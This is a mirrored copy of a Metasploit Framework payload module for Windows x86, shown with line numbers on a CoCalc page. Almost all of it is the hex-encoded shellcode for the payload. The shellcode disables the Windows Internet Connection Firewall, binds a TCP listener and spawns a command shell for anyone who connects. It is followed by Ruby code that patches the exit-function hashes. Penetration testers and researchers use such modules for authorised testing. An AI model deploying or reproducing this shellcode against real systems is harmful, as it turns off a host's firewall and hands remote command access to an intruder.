Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb
21540 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 529
8
9
include Msf::Payload::Windows
10
include Msf::Payload::Single
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Windows Disable Windows ICF, Command Shell, Bind TCP Inline',
18
'Description' => 'Disable the Windows ICF, then listen for a connection and spawn a command shell',
19
'Author' => 'Lin0xx <lin0xx[at]metasploit.com>',
20
'License' => MSF_LICENSE,
21
'Platform' => 'win',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'Payload' => {
26
'Offsets' =>
27
{
28
'LPORT' => [ 387, 'n' ],
29
'EXITFUNC' => [ 517, 'V' ]
30
},
31
'Payload' =>
32
"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c" \
33
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32" \
34
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07" \
35
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24" \
36
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8" \
37
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64" \
38
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x8e" \
39
"\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00\x01\x00\x00\x57\x56\x53" \
40
"\x89\xe5\xe8\x27\x00\x00\x00\x90\x01\x00\x00\xb6\x19\x18\xe7\xa4" \
41
"\x19\x70\xe9\xe5\x49\x86\x49\xa4\x1a\x70\xc7\xa4\xad\x2e\xe9\xd9" \
42
"\x09\xf5\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b\x8d" \
43
"\x4b\x20\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x07\x59\x51" \
44
"\x53\xff\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27\x54" \
45
"\xff\x37\xff\x55\x30\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff" \
46
"\x55\x2c\x89\xc7\x89\x7d\x0c\xe8\x06\x00\x00\x00\x4f\x4c\x45\x33" \
47
"\x32\x00\xff\x55\x08\x89\xc6\x56\x68\x1b\x06\xc8\x0d\xff\x55\x04" \
48
"\x6a\x02\x6a\x00\xff\xd0\x56\x68\x80\xc8\x26\x6e\xff\x55\x04\x89" \
49
"\xc7\xe8\x20\x00\x00\x00\xf5\x8a\x89\xf7\xc4\xca\x32\x46\xa2\xec" \
50
"\xda\x06\xe5\x11\x1a\xf2\x42\xe9\x4c\x30\x39\x6e\xd8\x40\x94\x3a" \
51
"\xb9\x13\xc4\x0c\x9c\xd4\x58\x50\x8d\x75\xec\x56\x50\x6a\x01\x6a" \
52
"\x00\x83\xc0\x10\x50\xff\xd7\x8d\x4d\xe0\x51\x8b\x55\xec\x8b\x02" \
53
"\x8b\x4d\xec\x51\x8b\x50\x1c\xff\xd2\x8d\x45\xf8\x50\x8b\x4d\xe0" \
54
"\x8b\x11\x8b\x45\xe0\x50\x8b\x4a\x1c\xff\xd1\x31\xc0\x50\x8b\x55" \
55
"\xf8\x8b\x02\x8b\x4d\xf8\x51\x8b\x50\x24\xff\xd2\x31\xdb\x53\x53" \
56
"\x68\x02\x00\x22\x11\x89\xe0\x6a\x10\x50\x8b\x7d\x0c\x57\xff\x55" \
57
"\x24\x53\x57\xff\x55\x28\x53\x54\x57\xff\x55\x20\x89\xc7\x68\x43" \
58
"\x4d\x44\x00\x89\xe3\x87\xfa\x31\xc0\x8d\x7c\x24\xac\x6a\x15\x59" \
59
"\xf3\xab\x87\xfa\x83\xec\x54\xc6\x44\x24\x10\x44\x66\xc7\x44\x24" \
60
"\x3c\x01\x01\x89\x7c\x24\x48\x89\x7c\x24\x4c\x89\x7c\x24\x50\x8d" \
61
"\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49\x51\x51\x53\x51\xff" \
62
"\x75\x00\x68\x72\xfe\xb3\x16\xff\x55\x04\xff\xd0\x89\xe6\xff\x75" \
63
"\x00\x68\xad\xd9\x05\xce\xff\x55\x04\x89\xc3\x6a\xff\xff\x36\xff" \
64
"\xd3\xff\x75\x00\x68\x7e\xd8\xe2\x73\xff\x55\x04\x31\xdb\x53\xff" \
65
"\xd0"
66
67
}
68
)
69
)
70
end
71
72
# for now we must let this payload use the old EXITFUNC hash values.
73
def replace_var(raw, name, offset, pack)
74
super
75
if (name == 'EXITFUNC')
76
datastore[name] = 'thread' if !datastore[name]
77
raw[offset, 4] = [ 0x5F048AF0 ].pack(pack || 'V') if datastore[name] == 'seh'
78
raw[offset, 4] = [ 0x60E0CEEF ].pack(pack || 'V') if datastore[name] == 'thread'
79
raw[offset, 4] = [ 0x73E2D87E ].pack(pack || 'V') if datastore[name] == 'process'
80
return true
81
end
82
return false
83
end
84
end
85
86